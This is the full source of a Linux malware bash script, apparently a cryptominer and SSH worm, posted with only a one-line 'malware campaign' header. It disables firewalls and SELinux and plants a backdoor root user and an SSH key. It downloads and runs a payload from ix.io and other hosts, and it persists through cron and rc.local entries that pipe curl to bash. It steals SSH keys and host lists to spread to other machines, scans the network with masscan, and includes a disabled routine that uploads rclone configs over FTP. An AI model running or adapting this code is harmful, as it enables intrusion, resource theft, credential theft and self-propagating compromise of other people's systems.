Malware campaign. See here: https://twitter.com/bad_packets/status/1199087675833085959

1XQa.sh

#!/bin/bash

resetsshgo(){
if [ "$needreset" -eq "0" ]; 
then
echo "no need"
else
sleep 10;
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;
service ssh restart;
service sshd restart;
systemctl start ssh;
systemctl restart ssh;
scw-fetch-ssh-keys --upgrade;
fi
}

sshaddusergo() {
if id "darmok" 2>/dev/null; then
echo ""
else
useradd -m -p '$1$EuTlnGKV$I6ULVhrfUCnEpFqLGFVHY0' darmok;
usermod -aG sudoers darmok;
usermod -aG root darmok;
adduser darmok sudo;
echo "darmok    ALL=(ALL)       ALL" >> /etc/sudoers
sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
sed -i '/PermitRootLogin*/d' /etc/ssh/sshd_config
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
needreset=1;
fi
}

filegetgo(){
chattr -iau /var/tmp || chattr -iau /tmp
sysctl -w vm.nr_hugepages=$(nproc --all);
echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled;
curl -sL -o /var/tmp/sic/config.json http://ix.io/1XQf || curl -sL -o /tmp/sic/config.json http://ix.io/1XQf;
if md5sum --status -c - <<<"79842ff6ab72f12c836b1f83021c801b /var/tmp/sic/config.json" || md5sum --status -c - <<<"79842ff6ab72f12c836b1f83021c801b /tmp/sic/config.json"
then
echo ""
else
curl -sL -o /var/tmp/sic/config.json http://photo20.ir/images/up13131574026902_k.jpg || curl -sL -o /tmp/sic/config.json http://photo20.ir/images/up13131574026902_k.jpg;
if md5sum --status -c - <<<"79842ff6ab72f12c836b1f83021c801b /var/tmp/sic/config.json" || md5sum --status -c - <<<"79842ff6ab72f12c836b1f83021c801b /tmp/sic/config.json"
then
echo ""
else
curl -sL -o /var/tmp/sic/config.json http://uupload.ir/files/wavo_img.jpg  || curl -sL -o /tmp/sic/config.json http://uupload.ir/files/wavo_img.jpg;
fi
fi
url[0]="$(curl -sL $(curl -sL http://ix.io/212B | shuf | head -1) | grep -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[0]} || curl ---create-dirs sL -o /tmp/sic/sic ${url[0]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[1]="$(curl -sL $(curl -sL http://ix.io/212F | shuf | head -1) | grep -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[1]} || curl --create-dirs -sL -o /tmp/sic/sic ${url[1]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[2]="$(curl -sL $(curl -sL http://ix.io/212G | shuf | head -1) | grep -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[2]} || curl ---create-dirs sL -o /tmp/sic/sic ${url[2]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[3]="$(curl -sL $(curl -sL http://ix.io/2160 | shuf | head -1) | grep -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[3]} || curl --create-dirs -sL -o /tmp/sic/sic ${url[3]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[4]="$(curl -sL $(curl -sL http://ix.io/21cd | shuf | head -1) | grep  -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[4]} || curl --create-dirs -sL -o /tmp/sic/sic ${url[4]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[5]="$(curl -sL $(curl -sL hhttp://ix.io/21ce | shuf | head -1) | grep  -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[5]} || curl --create-dirs -sL -o /tmp/sic/sic ${url[5]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[6]="$(curl -sL $(curl -sL http://ix.io/21cf | shuf | head -1) | grep  -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[6]} || curl --create-dirs -sL -o /tmp/sic/sic ${url[6]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[7]="$(curl -sL $(curl -sLk http://ix.io/21cg | shuf | head -1) | grep  -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[7]} || curl --create-dirs -sL -o /tmp/sic/sic ${url[7]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
url[8]="$(curl -sL $(curl -sLk http://ix.io/21Ds | shuf | head -1) | grep  -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)" && curl --create-dirs -sL -o /var/tmp/sic/sic ${url[8]} || curl --create-dirs -sL -o /tmp/sic/sic ${url[8]};
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
apt-get install -y wget || yum install -y wget;
wget $(curl http://ix.io/1XQn) -O /var/tmp/sic/sic || wget $(curl http://ix.io/1XQn) -O /tmp/sic/sic;
if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
then
chmod +x /var/tmp/sic/sic || /tmp/sic/sic
/var/tmp/sic/sic || /tmp/sic/sic
else
echo "well shit"
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
}

sshkeysgo(){
if [ -f "/root/.ssh/authorized_keys" ]
then
echo ""
else
needreset=1;
mkdir -p /root/.ssh
echo "" >> /root/.ssh/authorized_keys
fi
cat /etc/ssh/sshd_config | grep -iw "#Port 22" | grep -v grep >/dev/null
if [ $? -eq 1 ]
then
echo ""
else
needreset=1;
sed -i 's/#Port 22/Port 22/g' /etc/ssh/sshd_config
fi
cat /etc/ssh/sshd_config | grep -iw "port 78" | grep -v grep >/dev/null
if [ $? -eq 0 ]
then
echo ""
else
needreset=1;
echo "" > /etc/hosts.deny;
echo "" > /etc/hosts.allow;
chattr -iau /etc/ssh/sshd_config
chmod 777 /etc/ssh/sshd_config
echo "Port 78" >> /etc/ssh/sshd_config;
chmod 555 /etc/ssh/sshd_config
fi
cat /root/.ssh/authorized_keys | grep -iw "4CyIrSdDCx5CkZPzu0t87" | grep -v grep >/dev/null
if [ $? -eq 0 ]
then
echo ""
else
needreset=1;
mkdir -p /root/.ssh
chmod 777 /root/.ssh/authorized_keys;
chattr -iau /root/.ssh/authorized_keys;
echo -e "\n" >> /root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDi5nr/787EzPgUWvMYHJMeNW7FpuKaZwiZUWpCQH6mUzdf52nxx42BQXkWxeMf3ehl90+IsWX4XgXWdajS3gh9u09wi/uIbsikHerN11DSWHxi2qF67YH5dfOSHuSsGdFvEEsn5h574CyIrSdDCx5CkZPzu0t87dIj00aJTldRyAaWqtRRHnXg4wHAvc4R1GsAZLoODuv96H9IdDVUxidi7h36xlA2g11p7oY8bGcKIe98Vnok/5/qoMVs/64FsEU70rINXS26Z+2V05UdKxei33TP87UTKPX58mKNhMsRx8LUrpkuHjPU9f/V9LCLZpyCrB6WVgBsKiBfzK69H0kusOBgevG2gjSEIWE+sI9WRHN7iPtw4EcC/ZRzFbNx2p6BuL4jO4MpQzETzW5V0hfCrKmujtCHoYPu1TxKFENOJ3ZwOs0gQ42s2UB/L4CjJOiAmFSb+dkq28UJLDDWlkOatc7TZ/fNH8TAKL/t/k6ohj/lflEMrgErsXckFZbuz6L90k7QyWrv7hGIjZQLu9TYW+FHH/bQK0NDwXRsJRdl/Nucq1X4UNfud4GoZKb0Xmo7r829hxhBsBUHliZItsV9paNJbfSzbV8/rVVerMp89LheoWNIZVb87THCo0Z+rUfOtT87b3aXCrKzTjZNwc2Sf3QW+Pd+4v1NqrrCD79mYQ== server@localhost" >> /root/.ssh/authorized_keys
sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
chmod 555 /root/.ssh/authorized_keys
fi
}

securitygo() {
needreset=0;
setenforce 0;
ufw disable;
iptables -F;
iptables -X;
iptables -t nat -F;
iptables -t nat -X;
iptables -t mangle -F;
iptables -t mangle -X;
iptables -P INPUT ACCEPT;
iptables -P FORWARD ACCEPT;
iptables -P OUTPUT ACCEPT;
curl -sL http://ix.io/1XQh | bash -s 2>/dev/null;
}

filesetupgo(){
j=0; for i in `ps -fe| grep 'sic/sic' | grep -v grep | grep -v http | awk '{print $2}'`; do let j=j+1; if [ $j -ge 2 ]; then echo "Killing process $i"; kill -9 $i; fi done;
ps -fe | grep -w sic/sic | grep -v grep | grep -v http
if [ $? -eq 0 ]
then
echo "RUNNING";
else
curl -4sL "https://iplogger.org/1uUs87" >/dev/null;
mkdir -p /var/tmp/sic || mkdir -p /tmp/sic/;
filegetgo
fi
}

persistgo(){
crontab -l | grep -e "1XQa" | grep -v grep
if [ $? -eq 0 ]
then
echo "cron good"
else
chattr -aui /var/spool/cron/root
mkdir -p /etc/cron.d
mkdir -p /var/spool/cron
echo "0,30 * * * * curl -sL http://ix.io/1XQa | bash -s" >> /tmp/cron || true && \
echo "0,45 * * * * curl -sL http://ix.io/1XQh | bash -s" >> /tmp/cron || true && \
echo "0 * * * * curl -sL https://iplogger.org/2Ht8Y5 |  python - start --port=9061 --log=false" >> /tmp/cron || true && \
crontab -u root /tmp/cron || true && \
anacron -t /tmp/cron
rm -rf /tmp/cron
chattr +ia /var/spool/cron/root
fi
cat /etc/rc.local | grep -vw grep | grep "1XQa"
if [ $? -eq 0 ]
then
echo ""
else
echo "curl -sL http://ix.io/1XQa | bash ">>/etc/rc.local
fi
#cat /root/.profile | grep -vw grep | grep "1XQa"
#if [ $? -eq 0 ]
#then
#echo "profile good"
#else
#echo 'ssh(){'>> /root/.profile
#echo "command ssh \$@ -t \"curl -sL http://ix.io/1XQa | bash\"">> /root/.profile
#echo '}'  >> /root/.profile
#echo 'ssh(){' >> /root/.bash_profile
#echo "command ssh \$@ -t \"curl -sL http://ix.io/1XQa | bash\"" >> /root/.bash_profile
#echo '}'  >> /root/.bash_profile
#echo 'ssh(){' >> /root/.bashrc
#echo "command ssh \$@ -t \"curl -sL http://ix.io/1XQa | bash\"" >> /root/.bashrc
#echo '}'  >> /root/.bashrc
#fi
}


filerungo(){
curl -sL https://raw.githubusercontent.com/fengyouchao/pysocks/master/socks5.py  | python - start --port=9061 --log=false;
ps aux | grep -vw sic/sic | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
ps -fe | grep -w sic/sic | grep -v grep | grep -v http
if [ $? -eq 0 ]
then
echo "RUNNING"
else
sysctl -w vm.nr_hugepages=$(nproc --all)
echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled
/var/tmp/sic/sic || /tmp/sic/sic
sleep 10s;
ps -fe | grep -w sic/sic | grep -v grep | grep -v http
if [ $? -eq 0 ]
then
echo "NOW RUNNING"
else
sysctl -w vm.nr_hugepages=$(nproc --all)
echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled
/var/tmp/sic/sic || /tmp/sic/sic
fi
fi
}

localgo(){
myhostip=$(curl -sL icanhazip.com)
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|awk -F ' -i ' '{print $2}'|awk '{print $1'})
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"| grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|tr ':' ' '|awk -F '@' '{print $2}' | awk -F '{print $1}')
HOSTS4=$(cat /etc/hosts| grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts| grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
USERZ=$(echo "root" ;find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq )
USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)"| tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq )
pl=$(echo "22" ;cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)"| tr ':' ' ' | awk -F '-p' '{print $2}')
sshports=$(echo "$pl" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
i=0
for user in $userlist
do
for host in $hostlist
do
for key in $keylist
do
for sshp in $sshports
do
((i++))
if [ "${i}" -eq "20" ]; then sleep 5;
ps wx|grep "ssh -o"|awk '{print $1}' | xargs kill -9&>/dev/null&
i=0
fi;

#Wait 5 seconds after every 20 attempts and clean up hanging processes

chmod +r $key
chmod 400 $key
echo "$user@$host"
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "sudo curl -L http://ix.io/1XQa | sudo bash -s;"
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "curl -L http://ix.io/1XQa | bash -s;"
done
done
done
done
}

scango (){
screen -wipe >/dev/null;
ps aux | grep "dmS snack" | grep -vw grep >/dev/null
if [ $? -eq 0 ]
then
echo "running"
else
echo "need to start"
pkill screen;
cat /etc/os-release | grep -vw grep | grep "rhel" >/dev/null
if [ $? -eq 0 ]
then
rpm -ivh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm;
rpm -ivh https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm;
else
echo "no need"
fi
if md5sum --status -c - <<<"83acf5a32d84330bbb0103f2169e10bb /usr/bin/zgrab"
then
echo ""
else
chattr -iua /usr/bin/zgrab;
curl -sKL -o /usr/bin/zgrab "$(curl -sL $(curl -sL http://ix.io/22hM | shuf | head -1) | grep -i "><img" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)"; 
chmod +x /usr/bin/zgrab;
fi
which masscan >/dev/null
if [ $? -eq 0 ]
then
echo ""
else
yum install -y masscan || apt-get install masscan -y
fi

which jq >/dev/null
if [ $? -eq 0 ]
then
echo ""
else
yum install -y jq | apt-get install jq -y
fi
which screen
if [ $? -eq 0 ]
then
echo ""
else
yum install -y screen || apt-get install screen -y;
fi
rndscreen0=snack$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
screen -dmS $rndscreen0;
screen -r $rndscreen0 -X stuff $'curl -sL https://s.put.re/WN7JpDA9.sh | bash -s https://s.put.re/5P98hCz9.jpg\n';
sleep 4s;
rndscreen1=snack$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
screen -dmS $rndscreen1;
screen -r $rndscreen1 -X stuff $'curl -sL https://s.put.re/WN7JpDA9.sh | bash -s https://s.put.re/K3wmZWr6.jpg\n';
sleep 4s;
rndscreen2=snack$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
screen -dmS $rndscreen2;
screen -r $rndscreen2 -X stuff $'curl -sL https://s.put.re/WN7JpDA9.sh | bash -s https://s.put.re/QiiaEhrw.jpg\n';
sleep 4s;
rndscreen3=snack$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
screen -dmS $rndscreen3;
screen -r $rndscreen3 -X stuff $'curl -sL https://s.put.re/WN7JpDA9.sh | bash -s https://s.put.re/2R9X22Nz.jpg\n';
sleep 4s;
rndscreen4=snack$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
screen -dmS $rndscreen4;
screen -r $rndscreen4 -X stuff $'curl -sL https://s.put.re/WN7JpDA9.sh | bash -s https://s.put.re/BHMepceX.jpg\n';
sleep 4s;
rndscreen5=snack$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
screen -dmS $rndscreen5;
screen -r $rndscreen5 -X stuff $'curl -sL https://s.put.re/WN7JpDA9.sh | bash -s https://s.put.re/gb4uKqn9.jpg\n';
sleep 4s;
rndscreen6=snack$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
screen -dmS $rndscreen6;
screen -r $rndscreen6 -X stuff $'curl -sL https://s.put.re/WN7JpDA9.sh | bash -s https://s.put.re/Hu7qBC2b.jpg\n';
fi
}

grabfilego(){
rcl=$(find ~/ /root /home -maxdepth 3 -name 'rclone.conf' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
curl -o /tmp/pub.asc https://s.put.re/km9V1CWT.asc
gpg --import /tmp/pub.asc
for file in $rcl
do
gpg --trust-model always --recipient [email protected] --encrypt $file
curl -T $file.gpg ftp://anonymous:[email protected]/Passport/Music/Various/$(head /dev/urandom | tr -dc a-z0-9 | head -c 5).gpg
rm -rf *.gpg
find ~/ /root /home -maxdepth 3 -name 'rclone.conf.gpg' -exec rm {} \;
done
}

securitygo
sshaddusergo
sshkeysgo
filesetupgo
persistgo
filerungo
resetsshgo
#grabfilego
scango
localgo